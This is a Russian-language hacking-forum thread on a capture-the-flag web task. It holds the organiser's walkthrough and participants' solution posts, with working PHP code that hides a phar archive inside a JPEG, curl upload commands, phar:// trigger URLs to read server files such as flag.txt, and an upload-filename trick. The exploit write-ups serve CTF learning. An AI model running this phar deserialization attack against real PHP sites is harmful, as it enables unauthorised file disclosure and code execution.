Просмотр полной версии : Task #4
joelblack
15.02.2019, 01:17
https://a.radikal.ru/a32/1902/5b/cf7be5538c54.jpg
Многие ждали этот таск раньше, но в связи с плотной нагрузкой не было времени из концепта сделать что то целостное. Наконец,на неделе появилось свободное окно и я реализовал задуманное. Отдельно хочу поблагодарить за ценные советы @dooble (https://antichat.live/members/295866/) . Итак,перейдем непосредственно к таску. На этот раз нам предстоит поискать уязвимости на сайте SpaceX, который представляет из себя галерею. В основе таска лежит реальная уязвимость, которая не так очевидна на первый взгляд. Так что (первый хинт) внимательно изучайте все,что найдете.
Задание:
Найти уязвимость на тестовой площадкеhttp://task4.antichat.com и с ее помощью получить флаг.Исходный коднеобходимый для решения так же придетсяпоискать.
Сроки:
две недели.
Правила простые, они исторически сложились на площадках античата и рдота:
В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ. Ответом будет считаться флаг и каким способом вам удалось его получить.
После закрытия задания выкладываются прохождения.
В первый пост будет добавлена таблица результатов.
Кому нужна дополнительно репутация - отпишите в теме "Прошел",что бы было удобно ее проставлять.
Важный момент, который хотелось бы отметить исходя из опыта Task2:
Большинство поддерживает дополнительной репутацией решивших таск. Это здорово.Но случаются неприятные моменты, когда человек пишет что прошел, ему накидывают репутацию,однако решение мне не приходит.В связи с чем очень прошу парней, которые хотят поставить репу смотреть сначала в Таблицу результатов,которая оперативно обновляется,и если человек, который написал что решилприсутствуетв ней, тогда уже ставить.
===
Всем приятного прохождения!
===
Hint:Десериализация срабатывает не явно,даже если в коде не присутствует unserialize()
Hint: Присмотритесь к phar://
Прошли:
@Felis-Sapiens (https://antichat.live/members/268504/)
@crlf (https://antichat.live/members/285197/)
@l1ght (https://antichat.live/members/30257/)
@=HALK= (https://antichat.live/members/67039/)
@Ereee (https://antichat.live/members/180911/)
@gurux13 (https://antichat.live/members/332358/)
@Franky_T (https://antichat.live/members/328754/)
@Isis (https://antichat.live/members/29666/)
@MichelleBoxing (https://antichat.live/members/328947/)
@b4zed (https://antichat.live/members/284830/)
@Gorbachev (https://antichat.live/members/300636/)
@D3N (https://antichat.live/members/330007/)
@nix_security (https://antichat.live/members/332889/)
@oleg_1va (https://antichat.live/members/330004/)
Прохождения (https://antichat.live/threads/468755/)
Octavian
15.02.2019, 20:59
Большинство поддерживает дополнительной репутацией решивших таск. Это здорово.Но случаются неприятные моменты, когда человек пишет что прошел, ему накидывают репутацию,однако решение мне не приходит.В связи с чем очень прошу парней, которые хотят поставить репу смотреть сначала в Таблицу результатов,которая оперативно обновляется,и если человек, который написал что решил присутствует в ней, тогда уже ставить.
Репу заслуживают за Социальную Инженерию )
Felis-Sapiens
16.02.2019, 14:25
Прошел.
Спасибо за ваши труды!
reds1993
16.02.2019, 22:39
Там что, пхп заливался?
↑ (https://antichat.live/posts/4285792/)
Там что, пхп заливался?
Заливалось всё Но не работало
@crlf (https://antichat.live/members/285197/) действительно хайповая тема оказывается
Franky_T
18.02.2019, 13:59
Обалденный таск
Прошел, в принципе не сложно)
MichelleBoxing
19.02.2019, 12:32
Интересное задание, спасибо @joelblack (https://antichat.live/members/267454/)
не сразу врубился где флаг искать, спасибо @dooble (https://antichat.live/members/295866/) за наводку.
ну и спасибо @crlf (https://antichat.live/members/285197/) за предсказание
Тот_самый_Щуп
21.02.2019, 01:57
Done.
Спасибо авторам!
joelblack
22.02.2019, 17:09
Добавлен Хинт в первый пост
Прошёл) Офигенный таск ! Поразмял мозги
joelblack
26.02.2019, 22:54
Добавлен еще один хинт в первый пост
nix_security
28.02.2019, 01:26
Решено, спасибо. Интересный таск
oleg_1va
28.02.2019, 14:16
Решил,познавательно).Спаси о за таск!
joelblack
02.03.2019, 01:01
Таск закрыт.Решения больше не принимаются.Спасибо всем за участие.Итоги подведу на выходных.
joelblack
03.03.2019, 00:24
Мой таск базировался на исследовании от 14 августа 2018 года (https://blog.ripstech.com/2018/new-php-exploitation-technique/), поэтому для тех, кто в свое время изучил данную тему,думаю, было не сложно его решать. Полностью пересказывать данное исследование я не буду (для тех кому интересно можете ознакомиться с линком выше и посмотреть соответствующие слайды тут:
https://github.com/s-n-t/presentati...n-Vulnerability-Jim-But-Not-As-We-Know-It.pdf (https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) ),лишь вкратце скажу,что был обнаружен новый метод эксплуатации PHP object injection без использования php функции unserialize().Так же,из этого исследования можно узнать, что был найден некий трюк, который позволяетpharфайл поместить в фейковыйjpg.
Основная базовая информация получена,теперь перейдем непосредственно к самому таску. Первое,что необходимо было сделать, это найти файлview.bak
(http://task.antichat.com:10004/backup/view.bak), который располагался в папкеbackup. Детально изучив файл можно увидеть классDebugкоторый содержит метод __destruct(),который в свою очередь содержитfile_get_contents(). Первое что приходит в голову, этоPHP Object Injectionно смущает отсутствие в кодеunserialize(). На этом этапе необходимо вспомнить оphar://.
Изучаем дальше нашу галерею и находим форму загрузки (http://task.antichat.com:10004/upload.php). Играемся с загрузкой файлов и понимаем, что ничего, кроме jpg загрузить нельзя (однако @Felis-Sapiens (https://antichat.live/members/268504/) и @crlf (https://antichat.live/members/285197/) обнаружили баг,который был оперативно поправлен, при котором было можно пролить php файл, но с ним все равно ничего бы не получилось сделать). Опираясь на исследование выше - понимаем, что нам необходимо как то встроить phar в jpg. Это можно сделать либо руками (этот метод я как раз опишу),а можно сделать с помощью уже готовых решений, например, https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php .
.SpoilerTarget" type="button">Spoiler: phar
startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o= newDebug();
$o->hook='php://filter/convert.base64-encode/resource=/var/www/html/index.php';
$phar->setMetadata($o);
$phar->stopBuffering();
На выходе получаем файлDebug.phar. Далее нам необходимо преобразовать его вsome.jpg.Я для этого использовалNotepad++. Открываем данный файл в Notepad++ и сохраняем его какsome.jpg. Пробуем загрузить его и видим, что данная фейковая картинка отвечает всем требованиям загрузки и как следствие загружается на сервер.После чего кликаем по загруженному изображению и переходим по ссылке,вида:
.SpoilerTarget" type="button">Spoiler: img
http://task.antichat.com:10004/view.php?f=upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
видим наше изображение.Дальше,что бы уязвимость сработала (в данном случае триггером служитfile_exists()) нам необходимо добавить оберткуphar://
.SpoilerTarget" type="button">Spoiler: final
http://task.antichat.com:10004/view.php?f=phar://upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
В итоге получаем читалку. Дальше читаем .htaccess
.SpoilerTarget" type="button">Spoiler: htaccess
#
# Deny from all
#
и получаем намек что есть некий flag.txt
.SpoilerTarget" type="button">Spoiler: flag
1_Kn0W_4b0Ut_Ph4R_M0r3
которого при этом нет в текущей директории.Затратив немного времени, понимаем,что он лежит на уровне выше. Однако цель таска была именно поэксплуатировать данную уязвимость,поэтому у кого были проблемы с поиском флага - я хинтовал по поводу пути, так как человек уже понял как использовать уязвимость и поиск флага это лишь вопрос времени.
Теперь перейдем крешениям:
.SpoilerTarget" type="button">Spoiler: Решения
@Felis-Sapiens (https://antichat.live/members/268504/)
↑ (https://antichat.live)
Можно лить картинки с расширением .jpg в папку upload//filename.jpg (можно было и просто в upload/)
view.php?f= выдаёт "Something wrong!" на несуществующий файл, а на любой существующий включает ссылку на upload/[/]basename()
Поскольку я тут тыкал таск crlf и перечитывал про это, возникла мысль про phar-архивы и unserialize, а найденный бэкап view.php (backup/view.bak) заботливо предоставил класс для читалки:
classDebug{
private$hook;
private$img;
...
public function__destruct() {
if (isset($this->hook)) echofile_get_contents($this->hook);
}
...
}
Берём phpggc и создаём новую gadgetchain (здесь конечно никакой цепочки не нужно, просто для удобства генерации phar-архива, внедрённого в картинку):
phpggc -n task4 FR
и редактируем файлы:
.SpoilerTarget" type="button">Spoiler: gadgets.php
[COLOR="#007700"]img=$img;
$this->hook=$hook;
}
public functiongetmime(){
returnmime_content_type($this->img);
}
public functionsetHook($hook){
$this->hook=$hook;
}
public functiondeleteImg(){
unlink($this->img);
echo"Изображение{$this->img}удалено";
}
public functionfsize() {
return (round(filesize($this->img) /1024))." KB";
}
public function__destruct() {
if (isset($this->hook)) echofile_get_contents($this->hook);
}
public functiongetName(){
returnbasename($this->img,'.'.explode('.',$this->img)[1]);
}
public functiongetImgStat(){
foreach(stat($this->img) as$name=>$val) {
if(is_int($name))
continue;
echo"[$name] ======> [$val]
";
}
}
public functioncurDir(){
returngetcwd();
}
}
.SpoilerTarget" type="button">Spoiler: chain.php
[PHP]
[COLOR="#0000BB"]
Теперь легко создавать картинки для чтения файлов:
phpggc task4/FR1 "file:///var/www/flag.txt" -pj base_image.jpg -o image_with_payload.jpg
Заливаем
curl 'http://task.antichat.com:10004/upload.php' -H 'Cookie: PHPSESSID=' -F 'image=@image_with_payload.jpg;filename=somename.j pg'
и вызываем чтение phar-архива
curl 'http://task.antichat.com:10004/view.php?f=phar://upload//somename.jpg" -H 'Cookie: PHPSESSID='
Потребовалось поперебирать варианты и подсказка, что я на правильном пути, чтобы найти нужный файл /var/www/flag.txt
1_Kn0W_4b0Ut_Ph4R_M0r3
[COLOR="#bfbfbf"]
P.S.
Т.к. обработка filter_var($_FILES["image"]["name"],FILTER_SANITIZE_STRING) происходит непосредственно перед move_uploaded_file, можно заливать файлы с любым расширением, использовав, например, такое имя:
...;filename=somename.php/filename.jpg (можно было и просто в upload/)
view.php?f= выдаёт "Something wrong!" на несуществующий файл, а на любой существующий включает ссылку на upload/[/]basename()
[/LIST]
Поскольку я тут тыкал таск crlf и перечитывал про это, возникла мысль про phar-архивы и unserialize, а найденный бэкап view.php (backup/view.bak) заботливо предоставил класс для читалки:
classDebug{
private$hook;
private$img;
...
public function__destruct() {
if (isset($this->hook)) echofile_get_contents($this->hook);
}
...
}
Берём phpggc и создаём новую gadgetchain (здесь конечно никакой цепочки не нужно, просто для удобства генерации phar-архива, внедрённого в картинку):
phpggc -n task4 FR
и редактируем файлы:
.SpoilerTarget" type="button">Spoiler: gadgets.php
[COLOR="#007700"]img=$img;
$this->hook=$hook;
}
public functiongetmime(){
returnmime_content_type($this->img);
}
public functionsetHook($hook){
$this->hook=$hook;
}
public functiondeleteImg(){
unlink($this->img);
echo"Изображение{$this->img}удалено";
}
public functionfsize() {
return (round(filesize($this->img) /1024))." KB";
}
public function__destruct() {
if (isset($this->hook)) echofile_get_contents($this->hook);
}
public functiongetName(){
returnbasename($this->img,'.'.explode('.',$this->img)[1]);
}
public functiongetImgStat(){
foreach(stat($this->img) as$name=>$val) {
if(is_int($name))
continue;
echo"[$name] ======> [$val]
";
}
}
public functioncurDir(){
returngetcwd();
}
}
.SpoilerTarget" type="button">Spoiler: chain.php
Теперь легко создавать картинки для чтения файлов:
phpggc task4/FR1 "file:///var/www/flag.txt" -pj base_image.jpg -o image_with_payload.jpg
Заливаем
curl 'http://task.antichat.com:10004/upload.php' -H 'Cookie: PHPSESSID=' -F 'image=@image_with_payload.jpg;filename=somename.j pg'
и вызываем чтение phar-архива
curl 'http://task.antichat.com:10004/view.php?f=phar://upload//somename.jpg" -H 'Cookie: PHPSESSID='
Потребовалось поперебирать варианты и подсказка, что я на правильном пути, чтобы найти нужный файл /var/www/flag.txt
1_Kn0W_4b0Ut_Ph4R_M0r3
P.S.
Т.к. обработка filter_var($_FILES["image"]["name"],FILTER_SANITIZE_STRING) происходит непосредственно перед move_uploaded_file, можно заливать файлы с любым расширением, использовав, например, такое имя:
[FONT="Courier New"]...;filename=somename.phpimg = $img;
}
public function getmime(){
return mime_content_type($this->img);
}
public function setHook($hook){
$this->hook = $hook;
}
public function deleteImg(){
unlink($this->img);
echo "Изображение {$this->img} удалено";
}
public function fsize() {
return (round(filesize($this->img) / 1024))." KB";
}
public function __destruct() {
if (isset($this->hook)) echo file_get_contents($this->hook);
}
public function getName(){
return basename($this->img,'.'.explode('.',$this->img)[1]);
}
public function getImgStat(){
foreach(stat($this->img) as $name => $val) {
if(is_int($name))
continue;
echo "[$name] ======> [$val]
";
}
}
public function curDir(){
return getcwd();
}
}
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x 01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x 20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x 05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c \x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x 0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\x ff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05 \x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x 14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x 14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14 \x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x 0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4 \x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\x ff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x 08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01 \x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\x c4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x 01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f \x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x 00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10 \x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x 14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x 00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("flag.jpg");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new Debug(".");
$o->setHook("/var/www/flag.txt");
$phar->setMetadata($o);
$phar->stopBuffering();
[/CODE]
5. Заливаем картинку на сервер и эксплуатируем уязвимость по ссылке: http://task.antichat.com:10004/view.php?f=phar://upload/{SESSION_ID}/flag.jpg/test.txt
6. Смотрим сорцы страницы и получаем флаг 1_Kn0W_4b0Ut_Ph4R_M0r3
@Ereee (https://antichat.live/members/180911/)
↑ (https://antichat.live)
Привет
Флаг:
1_Kn0W_4b0Ut_Ph4R_M0r3
Был создан файл-полиглот phar+jpg с использованием:
https://github.com/kunte0/phar-jpg-polyglot
Payload:
[PHP]
[COLOR="#0000BB"]$object= newDebug('test');
$object->setHook('../flag.txt');
Далее был загружен файл и вызван:
http://task.antichat.com:10004/view.php?f=phar://parh_to_uploaded_polyglot
Догадался еще в пятницу, но почему-то через pharggc не получалось
P.S. Спасибо за таск!
@gurux13 (https://antichat.live/members/332358/)
↑ (https://antichat.live)
Привет!
task4: 1_Kn0W_4b0Ut_Ph4R_M0r3
Последовательность:
1. /backup/ содержит view.bak, читаем сырцы
2. В сырцах есть file_exists и объект с __desctruct
3. Крафтим jpg файл, который выглядит, как jpeg, но пахнет грушей. Пут
4. Загружаем файл, открываем view.php?f=phar://...
5. Видим, что умеем читать сырцы.
6. Читаем .htaccess
8. Читаем flag.txt.
Основной код:
$hdr=file_get_contents("/path/to/valid/jpeg");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($hdr." __HALT_COMPILER(); ?>");
$o = new Debug("123");
$o->setHook("/var/www/flag.txt");
$phar->setMetadata($o);
$phar->stopBuffering();
@Franky_T (https://antichat.live/members/328754/)
↑ (https://antichat.live)
Привет!
1_Kn0W_4b0Ut_Ph4R_M0r3
Находим бэкапы, читаем файл view.bak.
После длительных и безуспешных попыток повлиять на сессию, понимаем, что как-то это все сильно пахнет десериализацией. Вспоминаем статьи про phar, которые вышли в конце прошлого года. Дальше я начисто забыла, что file_exists тоже тригерится, но по статьям это вспомнила. Находим код, который позволяет построить phar архив с нужной нагрузкой, но замаскироваться под jpeg. Код из статьи rips хороший, но не дает сделать картинку. Погуглила, нашла проект полиглот
https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php
Создаем phar-картинку, содержащую объект класса Debug. В качестве поля $hook ставим адрес файла, который хотим прочитать. Читаем исходники, понимаем, что там нет флага
смотрим .htaccess, там намек на флаг, но flag.txt в корне не находится. Зато находится на уровень выше.
class Debug {
private $hook = "../flag.txt";
}
@Isis (https://antichat.live/members/29666/)
↑ (https://antichat.live)
Хай.
скрин пейлоада
https://www.dropbox.com/s/lt9dz7hv5ibu99z/Screenshot 2019-02-19 02.21.43.png?dl=0 (https://www.dropbox.com/s/lt9dz7hv5ibu99z/Screenshot%202019-02-19%2002.21.43.png?dl=0)
private $hook = '/var/www/flag.txt';
view.php?f=phar:////var/www/html/upload/cc/me.jpg
1_Kn0W_4b0Ut_Ph4R_M0r3
@MichelleBoxing (https://antichat.live/members/328947/)
↑ (https://antichat.live)
флаг 1_Kn0W_4b0Ut_Ph4R_M0r3
Решение:
Находим /backup/view.bak
видим что пользовательские данные в параметре f никак не проверяются.
_destruсt вроде как можно использовать с unserialize (у нас есть класс и функция ) но не понятно куда подсовывать сериализованные данные. Вспоминаем про хайповую тему с phar. читам подробно
https://blog.ripstech.com/2018/new-php-exploitation-technique/
и понимаем что у нас все что нужно есть. Остается сделать нужную картинку.
Записываем в phar архив метаданные
"O:5:"Debug":2:{s:4:"hook";s:17:"/var/www/flag.txt";s:4:"file";s:17:"/var/www/flag.txt";}"
где искать флаг не сразу понял, после прочтения .htaccess стало понятно (спасибо dooble)
сам не стал разбираться как сделать картинку и phar архив с нуля, на работе с временем напряг...
Сделал через готовое решение
https://github.com/kunte0/phar-jpg-polyglot
@b4zed (https://antichat.live/members/284830/)
↑ (https://antichat.live)
1.
http://task.antichat.com:10004/backup/view.bak
Находим исходник view.php
2. Смотрим на код.
Ищем в гугле php destruct vulnerability
находим статью
https://blog.ripstech.com/2018/new-php-exploitation-technique/
Понимаем что враппер phar:// позволяет выполнить php код, но в нашем случае мы можем только читать файлы
public function __destruct() {
if (isset($this->hook)) echo file_get_contents($this->hook);
}
3. Далее нам нужно создать phar файл, но так как загружать можно только jpg так как происходит проверка mime типов нужно сделать так чтобы phar обрабатывался как картинка.
В структуре phar файла есть "заголовок"
$phar->setStub('');
в который мы можем встатвить картинку.
4. Добрые люди уже автоматизировали процесс создания phar+jpg картинки
https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php
Качаем скрипт phar_jpg_polyglot.php
и меняем там:
class PHPObjectInjection {}
$object = new PHPObjectInjection;
$object->inject = 'system("id");';
$object->out = 'Hallo World';
// pop exploit class
на наш:
// pop exploit class
class Debug {}
$object = new Debug;
$object->hook = '../flag.txt';
да... сначала мы прочитали файл .htaccess и нашли там хинт
and finally, yes now 1_Kn0W_4b0Ut_Ph4R_M0r3!!!
@Gorbachev (https://antichat.live/members/300636/)
↑ (https://antichat.live)
С твоей подсказкой про воздействие на классы без unserialize() выхожу на трюк с phar://, изучаю вот это всё, пытаюсь сообразить, это всё под данный таск подходит или нет? Ответ нашел в этом сообщении:
https://rdot.org/forum/showpost.php?p=43352&postcount=4
Все сразу стало ясно. Ещё пару статей почитал, вкурил как оно должно работать.
За основу был взят код генерации полезного файла:
https://rdot.org/forum/showpost.php?p=44060&postcount=66
Это чтобы и проверку на картинки обойти, и правильно сформировать рабочий архив.
У меня на локалхосте всё читалось как надо, но я уже успел обратить внимание, что file_get_contents находясь в __destruct назначает себе путь / и прочесть рядом лежащие файлы не может, для этого требуется полный путь.
Я уже понимаю, как этот самый путь надо было доставать:
private $img;
public function __construct($img){
$this->img = $img;
}
Воздействовать на $img; и выполнить функцию curDir(), она там явно не просто так.
Но мне не удалось найти инфу, как это реализовать, зато как в переменные класса вклиниваться расписано достаточно.
Поэтому я нашел альтернативный вариант, зашел в task#2, выполнил в нем phpinfo(); и пути совпали. Кстати пути и файлы на существование чекать можно прямо через переменную f, вполне удобно, сначала чекнул файл, есть? А затем прочитать.
Ну дальше всё просто, формируем архив:
$phar = new Phar($n);
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub(img().'');
class Debug {
private $hook = "/var/www/html/index.php";
}
$object = new Debug;
$phar->setMetadata($object);
$phar->stopBuffering();
Читаем все файлы, и понимаем, что флага нигде нет, я уж подумал, сейчас зафейлюсь на этом этапе, и запомню этот таск надолго.
Хотел прочитать сессии, всякие вспомогательные файлы, увидел, что .htaccess есть, прочитал его, не сразу вкурил, почему в корне он отсутствует, попробовал в других местах поискать, в /tmp/ /upload/ на директорию выше, и нашел.
Флаг: /var/www/flag.txt содержимое: 1_Kn0W_4b0Ut_Ph4R_M0r3
@D3N (https://antichat.live/members/330007/)
↑ (https://antichat.live)
Флаг - "1_Kn0W_4b0Ut_Ph4R_M0r3"
Таск офигенный ) Не знал что пыха так умеет. Но честно, бэкап искал дольше чем нашёл статьи по уязвимости)
Решение:
Находим бэкап файл в /backup/
Видим что в view.php есть вызов функции file_exists и класс Debug у которого определены методы
__construct и __destruct. Видим что в __destruct есть интересная нам функция file_get_contents. Гуглим file_exists + unserialization (хинт) и находим статьи про phar фильтр. Собираем phar файл и маскируем под jpg (polyglot - one love). Загружаем полученный payload и на странице и переходим на /view.php?f=phar://upload/SESSION/payload.jpg. Читаем флаг, всё !
@l1ght (https://antichat.live/members/30257/)
↑ (https://antichat.live)
в общем, класс, после него file_exists очевидный вариант напрашивается с оберткой phar:// + десериалиция класса Debug
но загружаются только файлы .jpg причем с проверкой по mime-type
я взял за основну софт кореша (
https://github.com/kunte0/phar-jpg-polyglot
) немного подправил
загрузил poc
1_Kn0W_4b0Ut_Ph4R_M0r3
@nix_security (https://antichat.live/members/332889/)
↑ (https://antichat.live)
Спасибо за таск!
flag.txt :
1_Kn0W_4b0Ut_Ph4R_M0r3
Решение:
Сначала набрутил исходник
http://task.antichat.com:10004/backup/view.bak
.
Класс Debug с магическим методом __destruct намекает на небезопасную десериализацию))
Дальше немного подвис, пока не появились новые хинты...
Выяснил, что при использовании враппера phar объекты десериализуются при вызове любых методов работы с
файлами (file_exists в нашем случае).
Пэйлоад сформировал и внедрил в jpg-файл с помощью phpggc (цепочку сделал кастомную на основе класса Debug).
Почитал файлы на системе, в htaccess deny на flag.txt, значит его и надо искать. Он оказался директорией выше)
@oleg_1va (https://antichat.live/members/330004/)
↑ (https://antichat.live)
Не мог найти исходники, брутил файлы.Но оказывается нужно было посматреть папки).Нагуглил вот это
https://blog.ripstech.com/2018/new-php-exploitation-technique/
и использовал вот это для решения
https://github.com/kunte0/phar-jpg-polyglot
. Флаг получил методом тыка) Флаг:1_Kn0W_4b0Ut_Ph4R_M0r3
Если я случайно кого то забыл - отпишите в лс. Всем спасибо за участие!
MichelleBoxing
03.03.2019, 00:43
глюк(вернее мой фейл, не посмотрел что заголовок картинки при создании phar добавляется)
↑ (https://antichat.live/posts/4289665/)
Разве это не таск оранжа
выше бери https://twitter.com/chtg57
joelblack
03.03.2019, 00:49
Не знаю кто такой оранж Прочитал блог RIPSTECH и написал под это простенькую галерею.Собственно так и получился таск.
BabaDook
03.03.2019, 00:52
↑ (https://antichat.live/posts/4289666/)
выше бери
https://twitter.com/chtg57
Чёт я не понял о чём ты. саран , наверное туплю я
↑ (https://antichat.live/posts/4289670/)
Чёт я не понял о чём ты. саран , наверное туплю я
Я к тому, что если приписывать первостепенное авторство, к каждому таску и кейсу, реализованному вектором атаки средствами десериализации объектов через phar архивы, то первым об этом заговорил Taoguang Chen ещё в 15-16 годах.
BabaDook
03.03.2019, 01:00
↑ (https://antichat.live/posts/4289672/)
Я к тому, что если приписывать первостепенное авторство, к каждому таску и кейсу, реализованному вектором атаки средствами десериализации объектов через phar архивы, то первым об этом заговорил Taoguang Chen ещё в 15-16 годах.
Да не, ты не так меня понял. Никому ничег0 не приписываю. просто таск чертовски похож.
↑ (https://antichat.live/posts/4289674/)
Да не, ты не так меня понял. Никому ничег0 не приписываю. просто таск чертовски похож.
Нет, это ты меня не понял. Тебе просто кажется, т.к. кейс с phar будет примерно одинаковый в большинстве случаев.
BabaDook
03.03.2019, 01:06
↑ (https://antichat.live/posts/4289675/)
Нет, это ты меня не понял. Тебе просто кажется, т.к. кейс с phar будет примерно одинаковый в большинстве случаев.
Ну , ок. С тобой проще согласиться чем переубедить.
↑ (https://antichat.live/posts/4289679/)
Ну , ок. С тобой проще согласиться чем переубедить.
Чойто? Может пруфанёш, с чего это ты вдруг сделал такое заключение? Ну и линк на похожий таск оранжа тоже можешь запостить заодно
joelblack
03.03.2019, 01:13
↑ (https://antichat.live/posts/4289681/)
Ну и линк на похожий таск оранжа тоже можешь запостить заодно
Я бы тоже хотел посмотреть
BabaDook
03.03.2019, 01:15
↑ (https://antichat.live/posts/4289681/)
Чойто? Может пруфанёш, с чего это ты вдруг сделал такое заключение?
Ну и линк на похожий таск оранжа тоже можешь запостить заодно
Думаю при необходимости ты сам можешь найти линки.
↑ (https://antichat.live/posts/4289686/)
Думаю при необходимости ты сам можешь найти линки.
У меня такой необходимости нет, она появилась у тебя. На сколько это важно, решай сам. И по поводу этого
↑ (https://antichat.live/posts/4289679/)
Ну , ок. С тобой проще согласиться чем переубедить.
тоже.
BabaDook
03.03.2019, 01:34
↑ (https://antichat.live/posts/4289692/)
У меня такой необходимости нет, она появилась у тебя. На сколько это важно, решай сам. И по поводу этого
тоже.
Ну, ладно.. окей...
Будем считать что договорились
BabaDook (https://antichat.live/members/263150/), че не прошел-то?
p.s. b3 нуб
Тот_самый_Щуп
03.03.2019, 04:43
↑ (https://antichat.live/posts/4289660/)
ничего, кроме jpg загрузить нельзя (однако @Felis-Sapiens (https://antichat.live/members/268504/) и @crlf (https://antichat.live/members/285197/) обнаружили баг,который был оперативно поправлен, при котором было можно пролить php файл
Самое интересное походу останется за кадром
joelblack
03.03.2019, 04:49
↑ (https://antichat.live/posts/4289726/)
Самое интересное походу останется за кадром
Почитай решения, там этот момент есть
Тот_самый_Щуп
03.03.2019, 04:49
Так-же любопытен вектор загрузки файла на директорию выше (upload), по дефейсу с фотками жоры было понятно, что это возможно. А как технически реализуется, любопытно.
Отправлять POST запрос с пустой сессией - не катит. В саму сессию вставить что-либо левое типа двух точек тоже нельзя, если паттерн неправильный, сессия убивается.
Тот_самый_Щуп
03.03.2019, 04:53
↑ (https://antichat.live/posts/4289727/)
Почитай решения, там этот момент есть
Ага, невнимательно посмотрел, вижу: ...;filename=somename.php
↑ (https://antichat.live/posts/4289728/)
Отправлять POST запрос с пустой сессией - не катит. В саму сессию вставить что-либо левое типа двух точек тоже нельзя, если паттерн неправильный, сессия убивается.
Проверка на пустую сессию была вставлена уже после запуска задания, некоторые успели воспользоваться.
↑ (https://antichat.live/posts/4289730/)
Это стеб, или какой то смысл в этом действии есть?
Акцент на способах переименовать файл можно не делать.
Вопрос. Что бы предотвратить такой вид атак, следует я так понял фильтровать наличие phar://в URI запроса
???
joelblack
05.03.2019, 00:58
↑ (https://antichat.live/posts/4290249/)
Вопрос. Что бы предотвратить такой вид атак, следует я так понял фильтровать наличие
phar://
в URI запроса
???
Я давал линк на презентацию:
https://github.com/s-n-t/presentati...n-Vulnerability-Jim-But-Not-As-We-Know-It.pdf (https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
Там в заключении есть раздел Defence
Тот_самый_Щуп
05.03.2019, 01:49
↑ (https://antichat.live/posts/4290249/)
Вопрос. Что бы предотвратить такой вид атак, следует я так понял фильтровать наличие
phar://
в URI запроса
???
Следует фильтровать пользовательский инпут впринципе. Всегда, и везде.
В данном конкретном случае достаточно
$imgName = $_GET['f'];
if(file_exists($imgName)){
заменить на
